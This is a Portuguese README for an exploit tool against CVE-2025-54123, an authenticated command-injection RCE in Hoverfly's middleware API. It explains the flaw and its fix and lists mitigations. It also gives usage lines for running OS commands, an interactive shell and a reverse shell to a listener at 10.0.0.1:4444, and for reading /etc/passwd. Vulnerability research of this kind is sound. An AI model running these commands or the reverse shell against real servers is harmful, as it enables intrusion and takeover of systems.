
Exploit de RCE autenticado para Hoverfly ≤ 1.11.3 (CVE-2025-54123) via injeção de comandos do SO na API de middleware. Suporta execução de comando único, pseudo-shell interativa e reverse shell para testes de segurança autorizados.
RCE Autenticado via Injeção de Comandos do SO no Hoverfly ≤ 1.11.3
| Propriedade | Valor |
|---|---|
| ID CVE | CVE-2025-54123 |
| Pontuação CVSS | 9.8 — Crítica |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (Injeção de Comandos do SO), CWE-20 (Validação de Entrada Incorreta) |
| Produto | Hoverfly — Ferramenta de simulação de API de código aberto |
| Afetado | Todas as versões até e incluindo 1.11.3 |
| Corrigido em | 1.12.0 (commit do patch) |
| Advertência | GHSA-r4h8-hfp2-ggmf |
Aqui está um estudo de caso aprofundado e análise técnica como perspectiva white box e black box https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a
O Hoverfly expõe uma API de administração RESTful (porta padrão 8888) para gerenciar configurações de simulação. O endpoint de gerenciamento de middleware em /api/v2/hoverfly/middleware aceita um corpo JSON com campos binary e script que definem um processo de middleware externo.
Esta vulnerabilidade surge de uma combinação de três falhas no código:
Validação de Entrada Insuficiente — middleware.go:93-96: A função SetBinary() aceita o parâmetro binary sem qualquer validação ou sanitização, permitindo que um atacante especifique executáveis arbitrários (ex.: bash).
Execução de Comando Insegura — local_middleware.go:14-19: O middleware é executado via exec.Command() com os valores binary e script controlados pelo atacante passados diretamente como argumentos, permitindo injeção de comandos do SO.
Execução Imediata Durante o Teste — hoverfly_service.go:173: Quando o middleware é configurado via API, o Hoverfly testa imediatamente o middleware executando-o, acionando o comando injetado no momento da configuração, e não no momento da interceptação do proxy.
Attacker Hoverfly (≤ 1.11.3)
│ │
│─── POST /api/token-auth ──────────────>│ (1) Authenticate
│<── { "token": "eyJ..." } ─────────────│
│ │
│─── PUT /api/v2/hoverfly/middleware ───>│ (2) Inject payload
│ { "binary": "bash", │
│ "script": "<malicious cmd>" } │
│ │
│ ┌──────────────────────────────────┐│
│ │ exec.Command("bash", tmpScript) ││ (3) Immediate execution
│ │ → attacker command runs as ││
│ │ the Hoverfly process user ││
│ └──────────────────────────────────┘│
│ │
│<── Command output in error response ──│ (4) Exfiltrate output
│ │
admin / senha configurável)git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt
Verifique a acessibilidade do alvo e a autenticação sem exploração:
python3 exploit.py -u http://target:8888 -U admin -P <password> -C
Execute um único comando do SO no alvo:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'
Entre em uma sessão de shell persistente:
python3 exploit.py -u http://target:8888 -U admin -P <password> -i
Envie um shell reverso para seu ouvinte:
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — launch exploit
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444
Encaminhe o tráfego através do Burp Suite para inspeção:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v
A correção no commit 17e60a9 desabilita a API de definição de middleware por padrão. Alterações subsequentes na documentação (commit a9d4da7) conscientizam os usuários sobre as implicações de segurança de expor este endpoint.
Esta ferramenta é fornecida apenas para fins autorizados de teste de segurança e pesquisa educacional. O acesso não autorizado a sistemas de computador é ilegal sob o Computer Fraud and Abuse Act (CFAA) e leis equivalentes em todo o mundo. O autor não assume nenhuma responsabilidade pelo uso indevido deste software. Sempre obtenha permissão explícita por escrito antes de testar qualquer sistema que você não possui.
CVE-2025-54123/
├── Exploit/
│ ├── exploit.py # Polished exploit
│ └── raw_exploit.py # Original raw PoC
├── Images/ # Research screenshots
├── Reference/ # Reference exploits for study
├── requirements.txt # Python dependencies
└── README.md # This file
Phantom Hat — Pesquisador de Segurança
Esta pesquisa foi realizada como parte de um estudo de caso de vulnerabilidade para fins educacionais.
| Bandeira | Descrição | Padrão |
|---|
-u, --url | URL do Hoverfly alvo | Obrigatório |
-U, --username | Nome de usuário admin | Obrigatório |
-P, --password | Senha do admin | Obrigatório |
-c, --command | Comando do SO a executar | — |
-C, --check | Modo apenas verificação (sem exploração) | false |
-i, --interactive | Pseudo-shell interativo | false |
--revshell | Shell reverso LHOST:LPORT | — |
--proxy | Encaminhar através de 127.0.0.1:8080 | false |
--timeout | Tempo limite da requisição (segundos) | 15 |
-v, --verbose | Habilitar saída detalhada | false |
| Ação | Detalhes |
|---|
| Atualização | Atualize o Hoverfly para v1.12.0 ou posterior, onde a API de definição de middleware está desabilitada por padrão |
| Segmentação de Rede | Restrinja o acesso à API de administração do Hoverfly (porta 8888) apenas a redes confiáveis |
| Autenticação | Use senhas fortes e únicas para a API de administração do Hoverfly |
| Monitoramento | Monitore requisições PUT inesperadas para /api/v2/hoverfly/middleware |